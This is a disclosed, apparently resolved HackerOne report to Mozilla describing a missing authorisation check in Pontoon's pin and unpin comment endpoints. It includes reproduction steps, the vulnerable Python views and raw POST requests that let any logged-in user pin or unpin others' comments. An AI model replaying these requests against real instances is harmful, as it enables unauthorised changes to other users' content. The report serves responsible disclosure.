[Privilege Escalation] User can Pin|Unpin Any Comment on Any Project or Locale

Disclosed: 2026-03-20 11:00:15 By adilnbabras To mozilla
Low
Vulnerability Details
Hi, team. There is a feature to Pin and Unpin comments of translations or entities, but this functionality is only available for privileged users (i.e., Project Manager). Upon checking the backend code for this functionality, I realized that any user can Pin|Unpin any comment on any translation or entity because there are no checks. ## Steps To Reproduce: - Go to `https://mozilla-pontoon-staging.herokuapp.com/` and Login to your account. - Click on teams and select any language. ███ - Now, from the next window, select any project. ██████████ - Then select any Resource from the next menu. █████████ - After that, you will see a list of strings to be translated. █████ - On the Right side, you will see a comments section. ████████ - Now prepare your proxy to capture requests and post some comments. - You can check that there is no option to Pin or Unpin comment because Frontend Code is checking for user permissions and Based on that it shows button. **Reference:** `https://github.com/mozilla/pontoon/blob/45a69293623e56973c9a4fd5eb8b6618aca44813/translate/src/modules/comments/components/Comment.tsx#L81` ```javascript {canPin ? ( comment.pinned ? ( // Unpin Button <Localized id='comments-Comment--unpin-button' attrs={{ title: true }} > <button className='pin-button' title='Unpin comment' onClick={handlePinAndUnpin} > {'UNPIN'} </button> </Localized> ) : ( // Pin Button <Localized id='comments-Comment--pin-button' attrs={{ title: true }} > <button className='pin-button' title='Pin comment' onClick={handlePinAndUnpin} > {'PIN'} </button> </Localized> ) ) : null} ``` - In proxy history, you will see a request to the`/get-team-comments/` endpoint. Like this one. ███████ - In response to this request, you will see all comments with their IDs. ██████████ - Copy any one Comment ID. - Now, grab your `Session Cookies`, `Anti-CSRF token`, `Comment ID` and replace them in this request. ``` POST /pin-comment/ HTTP/1.1 Host: mozilla-pontoon-staging.herokuapp.com Cookie: ████████ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Prefer: safe Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106 X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Content-Length: 16 Origin: https://mozilla-pontoon-staging.herokuapp.com Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive comment_id=25725 ``` - Send the request, and you will see a `200 OK` response. - In the browser, reload the page and check that your comment has been successfully pinned. █████ - Now to unpin the comment, use this request. ``` POST /unpin-comment/ HTTP/1.1 Host: mozilla-pontoon-staging.herokuapp.com Cookie: ███ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Prefer: safe Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106 X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Content-Length: 16 Origin: https://mozilla-pontoon-staging.herokuapp.com Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive comment_id=25725 ``` - Now, comment from your other account on any project or translation and replace that comment ID in these requests to Pin or Unpin. - This way, a user can Pin|Unpin any user's comment on any project. ## Supporting Material/References: - This is the vulnerable code. **Link:** `https://github.com/mozilla/pontoon/blob/main/pontoon/base/views.py#L685-L715` ```python @login_required(redirect_field_name="", login_url="/403") @require_POST @transaction.atomic def pin_comment(request): """Update a comment as pinned""" comment_id = request.POST.get("comment_id", None) if not comment_id: return JsonResponse({"status": False, "message": "Bad Request"}, status=400) comment = get_object_or_404(Comment, id=comment_id) comment.pinned = True comment.save() _send_pin_comment_notifications(request.user, comment) return JsonResponse({"status": True}) @login_required(redirect_field_name="", login_url="/403") @require_POST @transaction.atomic def unpin_comment(request): """Update a comment as unpinned""" comment_id = request.POST.get("comment_id", None) if not comment_id: return JsonResponse({"status": False, "message": "Bad Request"}, status=400) comment = get_object_or_404(Comment, id=comment_id) comment.pinned = False comment.save() return JsonResponse({"status": True}) ``` ## Impact A user can perform actions that he is not intended to do.
Actions
View on HackerOne
Report Stats
  • Report ID: 3025797
  • State: Closed
  • Substate: resolved
  • Upvotes: 1
Share this report